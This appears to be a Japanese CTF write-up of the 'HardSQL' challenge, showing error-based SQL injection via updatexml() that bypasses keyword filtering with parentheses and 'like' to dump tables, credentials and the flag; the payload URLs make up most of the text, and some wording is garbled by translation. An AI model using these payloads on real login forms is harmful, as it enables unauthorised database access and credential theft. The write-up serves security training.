[原題再現][極客大挑戦2019]HardSQL(updateエラー注入)

4383 ワード

概要
 原題再現:
 考察知識点:SQL注入(エラー注入、フィルタリングを迂回)
 オンラインプラットフォーム:https://buuoj.cn(北京大学が公開したCTFプラットフォームに感謝!)
再現
手動テストでand、=スペースunionなど複数のsqlキーワードをフィルタリング
これらのキーワードを迂回して注入する方法を考えなければなりません!
updatexmlエラーメソッドを使用して注入
データベース情報の確認
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,version(),0x7e),1))%23&password=21
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21

結果:geekチャート
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21

結果:H 4 rDsq 1
検索フィールド
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=21

結果:id,username,password調べデータ
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=21

結果:flag~flag{9 f 09946 d-4 c 83-40 f 5-98
wpを見てright()文でクエリーの後ろの部分に  これでまた新しいスキルをゲットできました...
半分しか調べられずleft()right()文でつなぎ合わせる
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21

結果:XPATH syntax error:'~3-40 f 5-9828-9593 ee 5 f 3 f 4 c}~'
接合後の結果:flag{9 f 09946 d-4 c 83-40 f 5-9828-9593 ee 5 f 3 f 4 c}